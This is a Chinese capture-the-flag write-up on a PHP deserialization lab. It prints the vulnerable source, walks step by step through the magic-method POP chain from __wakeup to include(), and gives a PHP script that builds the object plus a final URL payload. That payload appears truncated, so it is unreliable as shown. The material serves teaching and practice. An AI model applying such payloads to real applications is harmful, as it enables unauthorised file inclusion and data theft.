來自於橙子科技反序列化靶場
原始碼如下:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
第一步:找鏈尾
我們的目的是得到flag,直接找flag這個關鍵詞,發現:
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
注意echo $flag;
,根據提示,flag存在於flag.php中,那我們需要做的是將這個檔案include進來;
注意到include($value);
顯然這裡的$value需要賦值為flag.php。完成這一步的前提是觸發append函式。接下來的問題是,如何觸發append函式。
第二步:如何觸發append函式
向下尋找,發現__invoke魔術方法,這個魔術方法的觸發條件是物件被當成函式一樣呼叫,這樣的話就會將var作為append的參量並觸發append函式。
第三步:如何觸發__invoke()函式
既然是要求物件被當成函式一樣呼叫,納悶我們就要找類似於_fun() _這樣的東西。繼續看程式碼,發現:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
在__get方法中,有return $function();
我們只要將$function的值賦為類Modifier的一個例項即可觸發類Modifier中的__invoke方法。
第四步:如何觸發__get()方法
瞭解到__get()魔術方法是用於從不可訪問的屬性讀取資料,簡單說來就是當程式呼叫類裡面不存在的物件的時候會呼叫__get()方法。還是繼續看程式,最好是找有連續呼叫的地方,方便我們進行賦值。注意到:
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
其中line5中,出現了連續呼叫return $this->str->source;
我們可以將$str的值賦為類Test的一個例項,顯然類Test中沒有source物件,這樣的話就能觸發類中的__get方法了。
第五步:如何觸發__toString()方法
__toString() 把類當作字串使用時觸發,返回值需要為字串。
還是在原始碼裡面開找,找和字串相關的語句。發現:
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
其中__wakeup()方法中,echo $this->source;
。只要我們將source的值賦為類Show的一個例項即可呼叫類Show中的__toString()方法。
第六步(鏈首):如何觸發__wakeup()方法
最簡單的一集,使用unserialize()時觸發
使用反推法整理完這六步之後,下面開始構造POC
首先對原始碼進行處理,如下:
<?php
class Modifier {
private $var;
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
?>
刪去不必要的方法和語句。
然後進行popchain構造。
<?php
class Modifier {
private $var="flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test->p=$mod;
$show->str=$test;
$show->source=$show;
echo serialize($show);
?>
得到payload
?pop={s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}